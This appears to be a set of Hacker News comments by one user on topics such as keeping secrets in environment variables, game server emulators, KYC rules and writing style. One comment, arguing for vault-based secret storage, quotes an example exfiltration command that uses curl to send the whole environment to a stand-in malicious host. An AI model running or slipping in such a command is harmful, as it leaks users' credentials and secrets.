nebezb

> Almost certainly there is malicious intent here, you are giving them too much benefit of doubt.

It's equally as certain (not very certain) you're attributing malicious intent where there is none. They're both real possibilities.

Bits certainly don’t rot and you’re welcome to stay on the latest stable version that runs on your architecture.

And if you want new bits with the new features, those aren’t the same bits and that work isn’t free.

No, he’s asking what you think a reasonable support timeline is. An open source project supporting hardware 6 years old is pretty awesome.

The parent poster is wrongly quoting me to say the original post doesn't mean “env var”. Yes, it does mean env var.

> The unwritten assumption in 12 Factor is: the environment is secure.

Fair assumption.

Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.

> You need some way to pass secrets to the app

Absolutely. This is why the env method is so attractive. It's simple and feels "free".

> doesn't every other way also suffer the same kind of issue

Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).

I like sops: https://github.com/getsops/sops

Confidently wrong. Did you read the source I linked?

> The twelve-factor app stores config in environment variables

My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.

Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.

As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].

[1] https://github.com/getsops/sops

Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.

The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”

Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.

Stop doing this. Do the other 11.5 factors.

[1]: https://12factor.net/config

> Built-in tsconfig paths support

A great QoL change. One less place to duplicate (and potentially mistake) a config.

What kind of headline is this? After a week of denial and blaming Iran of "poor accuracy".

More accurate: US missile capable of < 5 meters of accuracy hits Iranian school 200m away from military base, according to BBC.

> reimplementing a network protocol

My reply is that, strictly speaking, it is not a reimplementation of a network protocol if you need to recreate parts of the game based on best guesses that _impact_ the gameplay if your guess is wrong/different. A game is more than a network protocol. It is the data within that makes it to you that is being emulated.

SMB3 is SMB3. I would probably classify SMB1 (proprietary, closed) implementations as emulators if the guesses resulted in differing functionality from client<>server to another client<>server.

> I've long been irritated by the use of the term "server emulator" in gaming contexts. Technically these projects are just reimplementations of a proprietary networking protocol. Nobody calls Samba a "server emulator" because it reimplements the Windows file sharing protocol, because Samba isn't "emulating" anything from the perspective of the traditional definition of "emulator" in computer science.

I think the distinction is a lot greyer than the black/white you propose.

The very first popular online games used servers mostly to redistribute (and maybe time sync) packets from clients. There is no standard way to to do that. Player-created servers did their best to emulate the official servers logic but it was indeed impossible to replicate it perfectly.

e.g. when breaking up large maps into sectors, the official server might broadcast your location and projectiles X units away and emulators would broadcast it X + 500 units away, which could have an impact on gameplay.

Emulator feels fitting when there is no official server spec to reimplement.

edit: emulator also feels appropriate where servers are responsible for NPC activity or quest-like mechanics. This goes beyond implementing a network protocol. The gameplay is massively impacted.

Wow! This is no small feat... am I reading the contribution graph[0] correctly, you've done all this yourself?

This endeavour sounds a whole lot like a server emulator for Infantry Online that was started by an incredibly talented developed 16 years ago ("aaerox"). I found the original svn commit on Sourceforge [1]. It's since moved to GitHub but has been active for 16 years and it has much of the same functionality you've already built, but done by more than a dozen developers over a decade-and-a-half.

Kudos to you. You've gotta explain how you've managed to do so much all by yourself.

[0] https://github.com/moongate-community/moongatev2/graphs/cont... [1] https://sourceforge.net/p/infserver/code/1/

The OP is going around this thread[0] defending Flock.

[0] https://news.ycombinator.com/item?id=47254734

Useful and useless (or good and “less good”) aren’t easily mapped to big and small.

From a purely UX perspective, showing a red badge seems you’re conflating “less good” with size. Who is the target for this? Lots of useful codebases are large.

I do agree, however, that there’s value in splitting up domains into something a human can easily learn and keep in their head after, say, a few days of being deeply entrenched. Tokens could actually be a good proxy for this.

The idea is well articulated and comes across clear. What’s the issue? Taking a magnifying glass to the whole article to find sentence structure you think is “LLM-slop” is an odd way to dismiss the article entirely.

I’ve read my fair share of LLM slop. This doesn’t qualify.

Oh I’m curious. Love bash, and learning new things about it.

I can understand why [ is not ideal. Can you explain the rest to me? I use || true for custom error handling often (with the right set -euo pipefail of course)

Any time you interact with the financial services industry in a meaningful way, they are doing almost exactly all of these checks on you. It is mandated by law, and they're overseen by FINTRAC in Canada and FinCEN in US.

When you applied for a bank account for your freelancing business (or startup idea), some people googled you, looked for PEPs (politically exposed persons) in your family, stored photos of your IDs and probably even printed them off, and sent everything in a nice package to some "risk" department. Who knows how that department is handling your data.

The only difference is that Persona is trying to put a front-end on it and selling the process as a SaaS. Look up "KYC/KYB saas" and you'll find hundreds of businesses doing this (including, of course, Persona).

edit: I want to emphasize that this isn't restricted to just business banking. Poor wording on my part. Lots of industries are legally mandated to conduct KYC/IDV. Notaries do it in home sales, your stock brokerage is doing it, employers in regulated industries do it to everyone on payroll. The list is very long. Unfortunately...

The government should take on responsibility for KYC imo, instead of letting 100 vendors come up with their own solutions. But that would probably have some nasty externalities.

I read it and, maybe it’s because I’ve spent too much time in fintech, I don’t share most of the concerns.

The differences in proclaimed data retention periods is concerning though. The rest is par for the course for KYC/AML.

It doesn't. Anthropic are, as usual, sounding an alarm to pull the ladder up from behind them.

While the lift to add to your database is low, I don’t think you’re at a point you can outsource the work.

But all the better if they do!

I have set my own cli credentials ttl to 8 hours and require 2FA to refresh. Once daily works fine for me. It all takes ~30 seconds, really.

You're mixing up your baselines. I don't know how you got there in your second example. 25% less than "some number" is always (some number * (1 - 0.25)).

Underpaying someone by 100% is non-sensical.

I tried my hardest to read this with good intentions and I finished it. I thought the "20m read" label at the top was exaggerated given the size of my scrollbar. But it did indeed take a while.

This website is (1) saying nothing of substance, and (2) impossible to read. While the actual content of the article isn't worth discussing, this is a great example of what bad writing looks like. There's not a single paragraph in sight.

# Kitschy Heading

## n. Another Editorialized Heading

A table that is very hard to parse

* tons of bullet points

This is functionally the same. What do you mean by “you should never”? According to who?

What an arrogant take. This is preference. Don’t mistake it for correctness.

My gut says you’re right, but I don’t know if this is indeed true. It might be the same thing.

I’ve spent just a teeny bit of time helping international ICE investigators (not that one; internet child exploitation) postpone PTSD with technology. It seems like after two years of their job, they’re going to have a mental break. So postponing is all you can really do.

It’s disheartening how underfunded these agencies are compared to, what feels like at least, the severity of the crimes they’re up against.

These folks are heroes. This is one place AI has a lot of potential (but very little commercial value).